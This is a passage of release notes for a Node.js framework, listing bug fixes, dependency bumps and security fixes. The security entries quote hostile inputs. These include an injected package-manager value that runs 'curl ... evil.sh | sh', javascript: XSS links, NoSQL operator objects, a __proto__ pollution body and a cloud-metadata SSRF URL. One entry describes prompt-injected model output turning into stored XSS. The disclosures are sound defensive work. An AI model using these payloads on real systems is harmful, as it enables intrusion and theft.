[REDACTED]. Redaction used to be a _tool_ (redact.paths, entirely opt-in): unless an application configured it, apasswordincontext, anauthorizationheader, or anapiKeyon a loggedErrorreached every sink — console, log file, JSON log file, Sentry — verbatim. Protection existed only where every call site had been configured correctly, with no signal when one hadn't. It is now a _default_. - Dependencies Bumped
@mongez/reinforcementsto^4.0.1. The major makesRandom.string/nanoid/id/token/uuidCSPRNG-backed (WebCrypto) and removesRandom.seed()support. This package usesRandom.string(32)only for the non-securitylogger-<id>instance identifier; audited forRandom.seed(with no hits, so no code changes were needed.
- Security
--pmis now validated against an allow-list (npm/yarn/pnpm/bun) before it reaches anything. Previously an arbitrary--pmstring flowed straight intospawn()as the executable to run _and_ was spliced verbatim into the generatedpackage.json's script text before that text is parsed as JSON — a crafted value (e.g.--pm='pnpm","postinstall":"curl${IFS}evil.sh|sh#') could inject apostinstallscript that the scaffolder's own automaticinstall()step would then execute, or invoke an arbitrary binary onPATHoutright.--yes/non-interactive scaffolds now reject any--pmoutside the allow-list and exit before the package manager is set, closing both sinks at the source; the interactive prompt was already safe (its options are drawn from the allow-list, never free text). - Dependencies Bumped
@mongez/reinforcementsto^4.0.1(package dependency + project template). This is a major bump:Random.string/nanoid/id/token/uuidare now CSPRNG-backed (WebCrypto) and no longer honorRandom.seed(), and throw without WebCrypto available. Auditedcreate-warlock's own source and thetemplates/warlockscaffold forRandom.seed/Random.*usage — none found, no code changes required. - Dependencies Project template (
templates/warlock/package.json)@mongez/*deps bumped:@mongez/localizationto^3.4.7,@mongez/supportive-isto^2.1.4,@mongez/agent-kitto^1.2.1. - Dependencies Project template
@warlock.js/*deps were pinned at the stale4.0.119— rewritten to the current lockstep version4.15.0to match the published@warlock.js/*packages.
- Security Dashboard stored XSS via
javascript:markdown links — fixed. The dashboard's markdown link renderer (mdInlineinui.html.ts) rewrotetextinto a live<a href>without validating the URL scheme, so ajavascript:URL embedded in captured trace content (span.input/span.outputundercaptureContent— i.e. prompt-injected model output or attacker-controlled tool results) became a stored XSS that fired when an operator clicked the link; the page's CSP (script-src 'unsafe-inline') permitsjavascript:URI execution and does not restrict top-level navigation, putting the in-page bearer token in reach. Link URLs are now checked against a scheme allowlist (http:,https:,mailto:, plus relative/anchor URLs) after normalizing the URL the way a browser will — attribute-entity decode, strip of ignored control chars/whitespace (java\tscript:), lowercase — and scheme-relative//hostlinks are rejected too; a rejected URL renders its label as plain text with nohrefat all. Regression-tested by executing the actual inlined client renderer againstjavascript:/data:/vbscript:payloads and their case/whitespace/entity obfuscations (ui.html.md-links.spec.ts) - Security Dashboard token-handling hardening (3 residual findings from the same audit as the XSS above). None of these are exploitable on their own today, but each widened the blast radius of a future bug: - _Bearer token no longer a page-global._
ui.html.ts's client script keptTOKENas avarshared across its whole ~1000-line closure. It's now sealed inside its own inner IIFE that exposes only thefetchAuthedhelper — code elsewhere in that closure (present or future) can no longer read the raw token by name. - _Constant-time token comparison._serve.ts'sisAuthorizedcompared the header/query token with plain===, which short-circuits on the first differing byte and is a textbook timing side-channel — the one scenario the package's own docs call out as realistic (authTokenis required specifically when bound off-loopback, i.e. reachable over a network). Both the header and query-string checks now go throughcrypto.timingSafeEqualon length-checked, equal-length buffers. - _Token-in-URL narrowed to the one route that needs it._?token=is no longer accepted on the JSON API routes, only on the HTML page route. The page's own polling already re-sends the token as anAuthorizationheader (fixed in 4.8.2), so the only request that structurally _can't_ carry a header is the initial browser navigation that loads the HTML shell — that's the sole remaining query-string exposure, narrowing the token's footprint in access/proxy logs and browser history from every poll to one request.
- Security
fetch_urlandhttp_requestnow deny private-network targets by default and route through@warlock.js/ai's hardenedguardedFetchinstead of a local host check. PreviouslyallowHostswas the _only_ SSRF guardrail and it was opt-in — a bareai.tools.fetchUrl()/ai.tools.http()would fetch anyhttp(s)URL the model supplied, includinghttp://169.254.169.254/latest/meta-data/...,localhost, and RFC1918 addresses, and neither tool re-validated redirect targets, so even a configured allowlist could be 302'd into an internal endpoint. Both tools now issue every request through the core outbound policy, which by default refuses private / loopback / link-local / CGNAT / cloud-metadata addresses — resolving hostnames through DNS and checking every returned address, failing closed on resolution failure — and re-validates every redirectLocation(scheme, allowlist, private-IP deny) before following it, with a hop cap and cross-origin credential-header stripping. Blocks surface as the existing typed errors (WebToolErrortype: "denied-host",HttpPolicyErrortype: "host-not-allowed"), so agents still read them as{ error }data - Security New
allowPrivateNetworkoption (defaultfalse) on both tools for the deliberate case of a tool that must call an internal service (e.g. a local dev server);allowHostsstill works and now also constrains redirect targets
- Security Login credential lookups are no longer vulnerable to NoSQL operator injection.
authService.attemptLoginforwards the request's credential fields (e.g.email,phoneNumber) intoModel.first(...)to find the user, so a caller that passed request JSON straight through could smuggle a MongoDB operator object —{ email: { $ne: null } },{ email: { $regex: "^a" } }— into the user-lookup filter, breaking its intended equality semantics and enabling account enumeration / targeted-lookup attacks (the password is still verified separately with bcrypt, so this was never a full bypass on its own). The fix lands in@warlock.js/cascade4.16.0, whose query builder now rejects$-prefixed keys in equality position (UnsafeFilterError); becauseattemptLogin's lookup routes through cascade, upgrading the family to 4.16.0 closes this with no change to your auth code. If you build user lookups by hand, keep passing scalars — or use the explicit operator API — rather than forwarding raw request objects. - Dependencies Bumped
@mongez/eventsto^2.2.7(no breaking changes) and@mongez/reinforcementsto^4.0.1. The reinforcements major makesRandom.string/nanoid/id/token/uuidCSPRNG-backed (WebCrypto) and removesRandom.seed()support. This package callsRandom.string(32)(devicefamilyIdfallback) andRandom.token(32)(JWT secret generation) — both are exactly the security-sensitive uses the CSPRNG backing is meant to strengthen, and neither relied on seeding; audited forRandom.seed(with no hits, so no code changes were needed.
- Security Renamed
safeHtmlMutator/.safeHtml()tostripTagsMutator/.stripTags(). The old name implied XSS safety it never provided — the implementation is a naive<[^>]*>regex, not an HTML parser, and can be defeated by malformed/nested markup or content re-introduced later in a pipeline. A developer buildingv.string().safeHtml()for user-supplied rich text was liable to treat the output as pre-sanitized and skip further output encoding, opening a stored/reflected XSS path. The new names and doc comments make clear this is tag-stripping only; use a real parser-based sanitizer (DOMPurify / sanitize-html) for untrusted rich text.safeHtmlMutatorand.safeHtml()remain as deprecated aliases (same behavior,@deprecatedJSDoc pointing at the new names) so existing callers do not break. - Dependencies Bumped
@mongez/supportive-isto^2.1.4(no breaking changes) and@mongez/reinforcementsto^4.0.1. The reinforcements major makesRandom.string/nanoid/id/token/uuidCSPRNG-backed (WebCrypto) and removesRandom.seed()support — audited this package's source and tests forRandom.seed(and for seeded/reproducible use ofRandom.*; none found, so no code changes were needed.
- Security Instance-level checks (a
resourcesupplied tocheck/authorize) that match an RBAC grant but have no registered ABAC policy now emit a one-timelog.warnnaming the permission, instead of silently falling back to the RBAC grant alone — a typo'd permission name or a forgottenimport "./policies"side-effect previously degraded a resource-scoped check to a class-level one with no runtime signal, a silent IDOR footgun. Fail-closed/fail-open semantics are unchanged everywhere else; this is visibility only. Added an opt-instrictPolicies: trueaccess config flag that throwsAccessConfigErrorinstead of warning, for apps that want the gap to fail the request/boot rather than just log.
- Security
update()andset()now drop__proto__/constructor/prototypekeys instead of merging them.update()merged withObject.assign(store, updates), which does not create a__proto__property — it invokes the inherited setter and reparents the store. An app that forwards request-shaped data into a context (tenantContext.update(req.body), orset(key, value)with a caller-supplied key — both close to patterns the README shows) therefore handed a body of{"__proto__":{"isAdmin":true}}a way to polluteObject.prototypefor the whole process. Because the polluted object is a _shared_ context store, that turns an app-level slip into a cross-request, cross-tenant authorization problem: every later lookup of a missing property anywhere in the process resolves through the attacker's object
- Security
fs.files.mergeJson()/File#mergeJson()now drop__proto__/constructor/prototypekeys from both sides of the merge, at every depth. The deep-merge path assigned withoutput[key] = value, and for a key of__proto__that is not a property write — it invokes the inherited setter and reparents the merged object.JSON.parseis itself safe but happily produces an own property with that name, somergeJson(configPath, requestBody)— the natural shape for a "PATCH this JSON config" endpoint — let a partial of{"__proto__":{"isAdmin":true}}poison the object being written, and any property lookup against the in-memory result resolved through the attacker's data
- Security
BaseNotificationsRepository.createForno longer lets the channel payload override server-owned row keys. The payload was spread after the trustedrecipientId, so an untyped caller (e.g. a payload assembled from request JSON, ornotify.channel(name).send) carrying arecipientIdkey — or the model's physical recipient column name — could write the notification into another recipient's inbox, contradicting the recipient-scoping guarantee. Server-owned keys (id,recipientId,tenant,readAt,isRead, and their resolved physical columns) are now stripped from the payload at runtime and the trusted arguments are applied last; legitimate fields (type,title,body,payload,idempotencyKey) pass through unchanged.createManyForinherits the fix.
4.15.0 August 16, 2026
@warlock.js/ai lands a batch of type + mock-SDK fixes: ctx.run now stringifies a non-string payload, ToolMeta keys are optional, new Error(msg, { cause }) compiles, and the mock honours usage/deltas. @warlock.js/herald fixes a non-idempotent lazy amqplib loader that could race concurrent loads and silently poison test isolation.
- Changed
MockModelResponse.usageis a newMockUsagetype rather than the emittedUsage. The script is an input, not a result:MockModel.buildResponsehonours onlyinput/output/cachedTokens, so a fixture declaringcostorreasoningTokenswas silently discarded while the type promised otherwise.totalis optional and documented as derived, because the mock recomputes it asinput + output— an existing spec deliberately asserts that a mismatched scriptedtotalis overridden - Changed The mock honours
deltas. Fixtures already declared the field; the mock ignored it - Changed
MockSDK.model()declares itsMockModelreturn type — it always returned one, socallHistoryis now reachable without a cast.MockUsageis exported from the barrel - Fixed
ctx.run(agent, payload)now stringifies a non-string payload, as it always claimed to.coerceInlineInputinsrc/supervisor/execution.tsgated on!("signature" in executable)to decide whether the target was an agent — but every member ofSupervisableExecutable(AgentContract,WorkflowInstance,SupervisorContract) declaressignature, so the condition was permanently false and the coercion never ran. A supervisor intent callingctx.run(someAgent, { question: "why", attempt: 2 })handed the raw object toagent.execute(), where it landed as the user messagecontent—[object Object]in the prompt, or a provider-side payload rejection, depending on the adapter. The check now discriminates onisAnonymous, the one member unique toAgentContract. A regression test covers it; the old guard fails it withExpected: "string" / Received: "object". The unreferencedisSupervisor()duck-type helper — whose own JSDoc admitted it could not tell a supervisor from a workflow — is removed - Fixed
ToolMetano longer forceslabelandactionLabelon every tool that suppliesmeta. It was declared asRecord<"label" | "actionLabel" | (string & {}), unknown>, which makes both keys required, not optional — so any tool author who set one metadata field was made to set all of them. Now an optional-key shape with an index signature - Fixed
ToolConfig.actionis checked bivariantly, via aToolActionResolver<T>method-in-wrapper. The strictly contravariant parameter position rejected heterogeneous tool arrays that work correctly at runtime - Fixed
new Error(msg, { cause })compiles.tsconfig.jsondeclared nolib, so it inherited thetargetdefault of ES2020, whereErrorOptionsdoes not exist.libis now["ES2022"]; this also resolves theArray.atandString.replaceAllerrors. Emit is unchanged —targetis still ES2020. Notesrc/skills/sources/url-source.ts:122was not a defect: thecausewas always passed at runtime, the compiler simply had no type for it - Fixed
TeamMemberValueaccepts the callback member form (IntentCallback), which has always worked at runtime and was only rejected by the type - Fixed
PlanSchemano longer erases~standard.jsonSchemafrom its return type
- Fixed The RabbitMQ driver's lazy
amqplibloader was not idempotent under concurrent callers. It cached the resolved module in a module-level binding but nothing guarded the load itself, so two loads could be in flight at the same time and the last one to settle won the binding. The eager, unawaitedloadAmqplibModule()call at module scope was one of those callers by construction — it started a load nobody was waiting on, which then raced the awaited call fromconnect(). That eager call has been removed:connect()already awaits the loader, so it bought nothing but the race. The loader now memoizes the in-flight promise itself, so the first caller starts theimport()and every later caller awaits that same one - Fixed No user-visible misbehaviour is known in production — both racing paths resolve the same real
amqplib, so whichever won, callers got the module they expected. The observable damage was in test isolation: when a test was aborted mid-await import(...), the racing loads could leave the binding holding the realamqplibwhile the test file'svi.mock("amqplib")was still active, so every later test in that file silently bypassed the mock and opened a real socket. Proven by instrumentation — the driver held a liveChannelModelon::1:5672whileimport("amqplib")inside the same test still returned the mock, which is how a green test could be green for the wrong reason - Fixed Verified by a timeout sweep, not by a passing suite. The full suite passed both before and after (13 files / 137 tests), because the fault only surfaces when the first test is starved of time. Running
tests/connect-to-broker.test.tsat--testTimeout=3000and4000previously timed out the first test _and_ tookwraps a connection failure with the driver namedown with it, failing in ~50 ms withpromise resolved "Broker{…}" instead of rejecting— the mock was gone. With the loader fixed, that test passes at every timeout even while the first test still times out: starving one test can no longer poison the next - Fixed The first test also paid a cold-transform cost inside its own timed body, since
connectToBrokerdynamically imports the driver, which pulls in@warlock.js/sealand@warlock.js/loggeras raw TS source. That work moved to abeforeAllwarm-up. This is a test-timing change only and carries none of the correctness weight above — the loader fix stands on its own without it
- Added
GeminiImageModel— a Gemini-native image path overai.models.generateContent(newsrc/gemini-image.ts, exported asGeminiImageModel). RequestsresponseModalities: ["TEXT", "IMAGE"](override the list verbatim withoptions.responseModalities), mapsaspectRatio/imageSize/personGenerationonto Gemini'sconfig.imageConfig, and reshapes inline image parts that come back into the sameGeneratedImage[]({ type: "base64", base64, mediaType },image/pngfallback) the Imagen path emits — soai.image()'s envelope is unchanged for callers - Added Token usage is passed through on the Gemini image path instead of hard-zeroed. Whatever
usageMetadataGoogle attaches becomesusage.input/output/total(pluscachedTokens/reasoningTokenswhen reported> 0); only an absent block collapses to zeros. The Imagen path stays a flat zero because Imagen reports no tokens at all. Price these models with{ input, output }rather than{ perImage }, and check the first liveusage— whether these models report tokens is not confirmed here. The mapping is now a sharedapplyGoogleUsageutil used by both the chat model and the image model, so one rule decides what a Gemini token report means package-wide - Added A response with no image part is never a silent empty success: a blocked prompt (
promptFeedback.blockReason) or a safety/policyfinishReason(SAFETY,IMAGE_SAFETY,PROHIBITED_CONTENT,IMAGE_PROHIBITED_CONTENT,RECITATION,IMAGE_RECITATION,BLOCKLIST,SPII) throwsContentFilterErrorcarrying the reason; a text-only answer throwsProviderErrorquoting the text the model returned; anything else throwsProviderErrornaming the part count and finish reason - Changed
@google/genaimoves from^2.4.0to^2.17.1(2.17.1 is what installs today). The Gemini image path does not depend on the bump —models.generateContentexists in both — but the older range predates the deprecation notice above and predatesai.interactions, so staying on it meant documenting an SDK surface the package could not reach. The 11 suites / 149 specs in this package pass unchanged on 2.17.1. Note this re-resolved the whole workspace lockfile, not just this package's dependency - Changed
GoogleSDK.image()returnsGeminiImageModelfor agemini-id. This is routing, not validation — no id is rejected locally: an id matching neither family takes thegenerateImagesroute, the only route that existed before, so every id that reached Google before still reaches Google the same way and still fails (or succeeds) at the provider - Fixed
google.image({ name: "gemini-…" })no longer hits the endpoint that 404s it.ai.models.generateImagesroutes to{model}:predict(generateImages→generateImagesInternal→formatMap('{model}:predict', …)in@google/genai's bundle), which does not serve the Gemini image models — the call came back404 models/… is not found for API version v1beta, or is not supported for predict.GoogleSDK.image()now picks the transport from the id: agemini-id (with an optionalmodels/resource prefix) gets the newgenerateContentimplementation, everything else keepsGoogleImageModel/generateImages. Scope of the proof: two levels. Measured here — on the new transport such an id got as far as a quota error (HTTP 429) instead of the 404, which establishes that the endpoint accepts the id. Reported by the maintainer — once billing was enabled on the project, the path returned an image end-to-end from an application running a locally linked build of this package. No test in this package calls Google; the suite proves the request shape and the error mapping, not the round trip - Deprecated **Google has deprecated
generateImages, the transport theimagen-*path still uses.** Verbatim from the@google/genairuntime warning: _"The generateImages method is deprecated and will be removed in the next major release (not before Jan. 1 2027). Please use the generateContent method with image models instead. See https://ai.google.dev/gemini-api/docs/deprecations#imagen-models and https://docs.cloud.google.com/gemini-enterprise-agent-platform/models/capabilities/image-generation#generate-images"_ (editImagecarries the same notice.) Nothing breaks today and the Imagen path is unchanged, but it is on a clock: new image work should prefer agemini-id. The warning is emitted by@google/genai≥ 2.17; with the bump below, this package now prints it whenever theimagen-*path is used
- Changed
openaimoves from^6.34.0to^7.4.0. The runtime was unaffected: the full suite — 13 files / 208 tests — passed on 7.4.0 _before_ any of the type fixes below were made, so nothing about the wire shape this adapter sends or the responses it reads changed across the major. Every fix in this release is a compile-time one. - Changed
OpenAI.Images.ImageGenerateParamsBaseis no longer reachable upstream — openai 7 split image generation intoImageGenerateParamsNonStreaming/ImageGenerateParamsStreamingand stopped re-exporting the sharedBaseinterface from theImagesnamespace.image.tsnow sources itsquality/output_format/backgroundvalue types fromImageGenerateParamsNonStreaming, which is what the request body was already typed as and what the non-streamingimages.generateoverload accepts. The three fields are inherited fromBaseunchanged, so the accepted values are identical. - Changed
ChatCompletionToolbecame a union (ChatCompletionFunctionTool | ChatCompletionCustomTool) now that Chat Completions carries custom tools..functionis no longer reachable without thetypediscriminant, so the tool-conversion specs narrow ontype === "function"and throw on anything else — a custom-tool regression fails loudly rather than silently skipping the assertion it used to make. - Fixed
OpenAISDKConfig.provideris a usablestringagain. openai 7 added its ownprovider?: Providerkey toClientOptions— an opaque branded object minted bycreateProvider()— and our intersection collapsed the field toProvider & string, a type no string literal can inhabit. The config now omits the upstream key (Omit<ClientOptions, "provider">) before declaring its own label. No behavior change: the constructor already peeledprovideroff and never forwarded it to the OpenAI client.
4.14.0 August 16, 2026
@warlock.js/core adds teardownTest() to close a framework a test brought up and scopes test-lifecycle state to the worker runtime instead of the module. Two breaking setupTest changes: an explicit { connectors } now wins over tests.connectors config, and a conflicting concurrent call rejects instead of being silently ignored.
- Added
teardownTest()— the other half of the pair.setupTesthas shipped without a counterpart since it was introduced: there was no supported way to close the framework a test file brought up, and the only "reset" available was a module flag that proved nothing about whether ports, sockets, pools or timers had actually closed - Changed BREAKING — an explicit
setupTest({ connectors })now wins overtests.connectorsconfig. The order wasconfig > parameter > true; it is nowexplicit parameter > config > true - Changed BREAKING — a conflicting
setupTestcall rejects instead of being ignored. While a setup is starting or ready, a call with _different_ effective options now rejects with an error naming both the active and the requested selection. The same options remain a no-op, and concurrent identical calls share one startup - Changed Lifecycle state is now scoped to the worker runtime instead of the module.
isSetupCompletewas a module-level variable, and Vitest rebuilds the setup module's registry between test files while the worker process or thread keeps running — so the flag reset in exactly the situation where live DB connections, pools and timers survive - Fixed A stranded setup no longer exhausts the heap. A lifecycle left in the
startingstate sentteardownTest's wait-then-re-enter path into unbounded recursion —FATAL ERROR: JavaScript heap out of memoryat 4 GB, killing the worker with 26 tests in that run never executed. It was found while proving the state machine, not reported by a user, and it would have shipped
- Changed
openai.image({ name }),openai.speech({ name })andopenai.transcribe({ name })no longer reject an unknown model id at construction — the id is forwarded to OpenAI as given, so an id OpenAI does not serve now fails as a typed provider error instead of a localInvalidRequestError. - Removed BREAKING —
isOpenAIImageModel()andOPENAI_IMAGE_MODEL_PREFIXESare no longer exported; theknown-image-modelsmodule is deleted. Nothing in the adapter read them once the construction-time gate went away, so they were a public list of model ids that enforced nothing and went stale on OpenAI's release schedule, not this package's. Import them from nowhere — branch on your own id list if you need one. - Removed BREAKING —
isOpenAISpeechModel()andisOpenAITranscriptionModel()are no longer exported either, for the same reason. Once their construction-time gates went away nothing in the adapter read them, leaving two more public model-id lists that enforced nothing. No@warlock.js/ai-*adapter validates a model id locally, so the package no longer ships a helper that implies otherwise — branch on your own id list if you need one.
- Changed
google.image({ name })no longer rejects a non-imagen-*model id at construction — the id is passed through toai.models.generateImagesas given, so an id Google does not serve now fails as a typed provider error instead of a localInvalidRequestError - Removed BREAKING —
isGoogleImageModel()andGOOGLE_IMAGE_MODEL_PREFIXESare gone from the public API. Both were dropped from the package entrypoint and the module deleted; importing either from@warlock.js/ai-googleis now a compile error. With the construction-time guard gone (below) they enforced nothing and only invited callers to re-implement a model allow-list the framework does not own — a model id is the provider's to rule on, so there is nothing left for a local list to say. Callers that branched on the Imagen family should match on the id themselves (name.startsWith("imagen-")) or, better, stop branching and let the provider answer
4.13.0 August 12, 2026
@warlock.js/core adds build.singleBundle for a single runnable node dist/app.js, makes @warlock.js/core/tests and @warlock.js/core/vite real importable subpaths, and fixes setupTest() crashing in a project without a tests config plus the test request helpers dropping falsy JSON bodies (false/0/""/null).
- Added
build.singleBundle— one file you can run withnode dist/app.js. The default build keeps dependencies as realimportspecifiers resolved fromnode_modules, which is right when you deploy the folder. Producing a single self-contained file previously meant knowing to setpackages: "bundle"andsplitting: false, and it still did not work - Added
@warlock.js/core/testsand@warlock.js/core/viteare real subpaths, with their own build entries andexportskeys — the first version in which those helpers are addressable at all./testscarries the 13 documented test helpers;/vitecarrieslowerStage3Decorators - Fixed
setupTest()no longer crashes in a project that has nosrc/config/tests.ts.config.get("tests")resolves an absent key tonull, and the result was dereferenced — so the very pathwarlock add testgenerates threwCannot read properties of null (reading 'connectors')before running a single test.setupTest()with no arguments at all threw one step earlier still, on a destructured parameter with no default - Fixed The request helpers send falsy JSON bodies.
testPost,testPutandtestPatchusedbody ? JSON.stringify(body) : undefined, sofalse,0,""andnull— all legal JSON documents — were sent as no body at all. Only an omitted argument now means "no body" - Fixed Shutdown survives a throwing log channel. A connector whose
shutdown()failed was reported throughlog.error(...)from inside the catch block — andLogger.log()hands each entry tochannel.log()with no isolation, so a channel that throws synchronously (a misconfigured transport, an unserialisable payload) made that report reject. The rejection escapedshutdown()entirely, and the consequences went well past a missing log line:log.flush()never ran, so every buffered entry from the whole run was lost; the remaining connectors were never torn down; andprocess.exit(0)— the linegracefulShutdownruns onceshutdown()resolves — was never reached, leaving the process alive on the handles those connectors still held - Fixed A test server that fails to start no longer leaves half of itself running.
startHttpTestServer()publishes the resolved port before the late connector phase and setsisServerRunningonly on its last line, so a failure in between left live early-phase connectors and a published port pointing at a server that never came up — whilestopHttpTestServer()inglobalTeardownreported _"No server to stop"_ and walked away from them. Startup now unwinds what it started, always withdraws the port and resets its state. ⚠ The error you get back is unchanged — it always was. Startup had nocatchat all, so the original failure already propagated correctly; what was missing was the cleanup, and the newcatchexists only to run it. A failure _during_ that cleanup is reported and never substituted for the cause, which is the one propagation guarantee the wrapper had to be careful not to break - Fixed
startHttpTestServer({ port: 0 })is refused with an instruction instead of half-working.0is the OS's "pick a free one" idiom, and the test server cannot honour it: the preflight would bind some unrelated ephemeral port and pass without proving anything, and nothing publishable exists afterwards —HttpConnector.start()records the port it asked for, not the one Fastify bound. Accepting it silently meantgetTestServerUrl()resolved0through its own config fallback and every worker request went tohttp://host:0, where nothing listens. The error names the fix: pass an explicit port, or sethttp.port - Fixed ⚠ BREAKING — the package entry no longer re-exports the CLI, the dev server, the test helpers or the Vite integration. Five
export *lines are gone from@warlock.js/core's root:./cli,./dev-server/files-orchestrator,./dev-server/health-checker,./testsand./vite - Fixed ⚠ BREAKING — the CORS allow-list in
http.corsnow actually applies. The framework's defaults were spread after your configuration, so{ origin: "*", methods: "*" }overwrote whatever you set.http.corshas never had any effect, in any release up to 4.12.0 — an app that configured an allow-list still answered every origin. Your configuration now wins - Fixed ⚠ BREAKING —
http.bodyLimitno longer defaults to 200 GB. An app that configures nothing now gets Fastify's own 1 MB limit. The previous default did not merely allow large bodies, it replaced a protection Fastify provides: an unauthenticated endpoint accepted a 5 MB body and ran application logic on it where bare Fastify would have answered413 - Fixed ⚠ BREAKING —
http.trustProxynow defaults tofalse.request.ipwas derived from the client-suppliedX-Forwarded-Forheader by default, and@fastify/rate-limitkeys its buckets onrequest.ip— so a client sending a differentX-Forwarded-Foron each request got a fresh rate-limit bucket every time. Any deployment not behind a proxy that strips the header had bypassable rate limiting, and the same applied to per-IP lockouts and audit logs - Fixed Per-route
serverOptionsare no longer discarded by the dev server.scanDevServerregisters wildcard routes and dispatches per request, so it had no per-route registration slot and droppedserverOptionsentirely. A route declaringserverOptions.onRequest— the documented way to run before body parsing — worked in production and silently never ran in dev, which is the only mode most teams run.route.rateLimitwas dropped the same way, since it rides in the same options object - Fixed The dev server no longer rebuilds its entire route registry on every request. A comment claimed the registry was initialised "once" and pointed at a
rebuildRouteRegistryfunction that does not exist; the code sat inside the per-request handler, re-registering every route on every hit — androuter.any()routes expand into seven registrations each. It is now built once and rebuilt when the route table changes - Fixed The dev dispatcher logs through the framework logger instead of
console.log(error), with the request method and url attached - Fixed A bundled production build no longer succeeds and then dies at startup. Setting
packages: "bundle"produced a clean build whose process failed immediately withError: Dynamic require of "node:assert" is not supported. Warlock's output is an ES module; bundled CommonJS dependencies callrequire(...)and read__dirnameto locate their own assets, and neither exists in an ES module, so the bundler substituted a stub that throws. The only fix available to an application author was to hand-write an esbuildbannerrecreatingrequireviacreateRequire(import.meta.url)— esbuild internals no app should need to know
4.12.0 August 11, 2026
@warlock.js/core adds warlock migrate --pending — what will run next, in execution order, with exit codes you can gate a deploy on — and stops two CLI flags doing the opposite of what they say: migrate --rollback=false dropped every table, and generate.module --force=false overwrote your files, because boolean options were parsed as raw strings and "false" is truthy. @warlock.js/auth closes a token-expiry hole: an unparseable expiresIn minted a JWT with no exp claim, such a token was then accepted forever, and the rows were never purged — tokens are now rejected at issue and at verification, and auth:purge-never-expiring finds and revokes the ones already in your database. @warlock.js/core also fixes Image and renderReact racing their own optional-dependency imports, where a constructor could run before sharp or react had loaded and fail with not a function.
- Added
warlock migrate --pending— what will run next, in the order it will run.migratecould report what had already run (--list) and what files existed on disk (--all), but not the one thing an operator asks before a schema change against a live database. The pending set was already computed on every migrate run; it simply had no read-only exit - Changed
migrate's preload block no longer declaresenv: true. The flag has done nothing since env began loading for every command that declares a preload block; it was decoration, and the test suite now asserts its absence so it is not re-added by someone reading the still-deprecated type - Changed The package now declares its own test runner and a
testscript.@warlock.js/coreshipped a maintainedvitest.config.ts— aliasing eight sibling packages to their sources — with nodevDependencieskey at all and no way to invoke it. Its suite was reachable only by knowing to typenpx vitest, which resolves whatever happens to exist in the tree rather than anything the manifest asked for. The runner is pinned to an exact version, not a range: it moved from 4.1.8 to 4.1.10 mid-development on an unrelated install, silently, and a suite whose runner can change underneath it proves less than it appears to - Fixed A build artifact that names an entry point it does not contain is now refused before it can be packed. An interrupted build leaves a directory that looks finished —
package.json,README,CHANGELOG,bin/,skills/— and holds no compiled code at all. Nineteen existed in this tree at once, and nothing in the release path noticed: the only related guard compares modification times, so a hollow directory with a freshly written manifest is _newer than source_ and passes, and it runs solely on the artifact-reuse path, which is not how the hollow directories were produced - Fixed The production acceptance gate no longer inherits the environment it is supposed to be testing.
run-pnpm-acceptance.mjsspawned every child withenv: { ...process.env }and set noNODE_ENV. It exercised the production path only because the shell it was written in happened to carryNODE_ENV=production; on a clean checkout, a new contributor's machine, or CI, the same gate boots the app in development — and does not fail, it passes while testing something other than the thing it is named after. That is the worst outcome available to a gate, and it sat underneath the proof for 4.11.0's headline fix - Fixed
warlock migrate --rollback=falseno longer drops every table. CLI options were parsed as raw strings and nothing ever coerced them:--rollback=falsereached the action as the string"false",if (rollback)saw a truthy value, and the run rolled back _everything_. The declaredtype: "boolean"on the option was decorative — used only to render help. The same shape existed on every boolean option, includingwarlock drop.tables --force=false, where it turned a confirmation prompt into an unattended drop - Fixed
warlock generate.module users --force=falseno longer overwrites your files. The coercion above is opt-in by design — it applies only to options a command declarestype: "boolean", so a string option whose value is genuinely the wordfalsesurvives. The generate family andaddnever carried that declaration, so the fix reached none of them and both faces of the defect stayed live on the commands most likely to be run against existing source - Fixed
new Image(...)no longer fails depending on how soon you call it. TheImagemodule firedimport("sharp")at load time without awaiting it, and the constructor only checked whether that import had _failed_ — never whether it was still in flight. Constructing an image in the first tick after importing the package therefore ran with an undefined sharp function and died withTypeError: sharpFn is not a function; the exact same code passed if something had awaited a timer first. Anything that builds an image during boot — a startup thumbnail job, a module-level warm-up — hit it, and it presented as a mysterious "works locally, breaks in prod" timing bug rather than as a missing dependency - Fixed A sharp that is installed but will not load no longer reports itself as "not installed". The resolution above swallowed every failure into a single outcome, so the most common real-world sharp problem — the package present but its native binary built for another platform — arrived as
sharp is not installed.plus instructions to runnpm install sharp, which cannot fix it. sharp throws its own long, actionable error naming the runtime, the failing.nodefile and the exact install flags to use; that text was discarded and replaced with a different, wrong cause - Fixed
renderReact()no longer renders against modules that have not loaded yet. The same defect as the two above, in a second module, found by looking for the pattern rather than by a bug report.react/index.tsfiredimport("react")andimport("react-dom/server")at load time without awaiting either, and tracked them with a three-state flag that the guard only tested for one state:if (moduleExists === false). While the imports were in flight the flag wasnull, which is notfalse, so the guard passed and the synchronousrenderReactreadcreateElementoffundefined. With two sequential dynamic imports the window is wider than the image module's, and it is open during exactly the work a server does at boot — rendering a page or an email template from a module-level warm-up - Fixed A broken
react-dom/serverno longer reports itself asreact is not installed. The two packages were loaded in onetryand collapsed into one flag, so any failure of either was attributed to react. The specifiers are now resolved and reported separately, and the message names the one that actually failed —Failed to load "react-dom/server": …— because sending an operator to reinstall react when react is fine costs them the debugging session. Absence is distinguished from breakage the same way as for sharp:MODULE_NOT_FOUNDand a message naming the specifier exactly, quoted, which is also what stops'react-dom'from satisfying a check for'react'. Everything else surfaces the original error, inlined and chained ascause. Areact-domwhose./serversubpath is missing fromexportsraisesERR_PACKAGE_PATH_NOT_EXPORTED, so it correctly reports as an incompatible install rather than an absent one
- Added
warlock auth.purge-never-expiring— remediation for rows written by theexpiresIndefect below. Finds every access- and refresh-token row that can never retire itself, on two independent signals: anexpires_atthat is missing or unparseable, and a persisted token carrying noexpclaim. Reportsid,user_id,user_typeandexpires_atper row (never the token string — it is a live credential until the command removes it), then deletes them. Pass--dry-runto report without deleting. - Changed Potentially breaking: a JWT with no
expclaim is rejected byjwt.verify/jwt.verifyRefreshToken. No supported configuration produces one: an app that wants a token that effectively never expires setsexpiresIn: NO_EXPIRATION("100y"), which mints a realexpabout a century out (ms("100y")⇒3155760000000;exp - iat⇒3155760000seconds). "No deadline" and "a distant deadline" are different things, and only the second was ever asked for. If you sign tokens with your own signer and feed them to this package's verifier, they must carryexp. - Changed Potentially breaking:
RefreshToken.isExpirednow answerstruefor a missing or unparseableexpires_at; it previously answeredfalse("no expiry recorded ⇒ never expires"). That reading handed an unlimited life to precisely the malformed rows.expires_atisrequiredin the schema — a row that cannot say when it dies is malformed, not immortal.AccessToken.isExpiredis new and fails closed the same way. - Changed Potentially breaking: an invalid
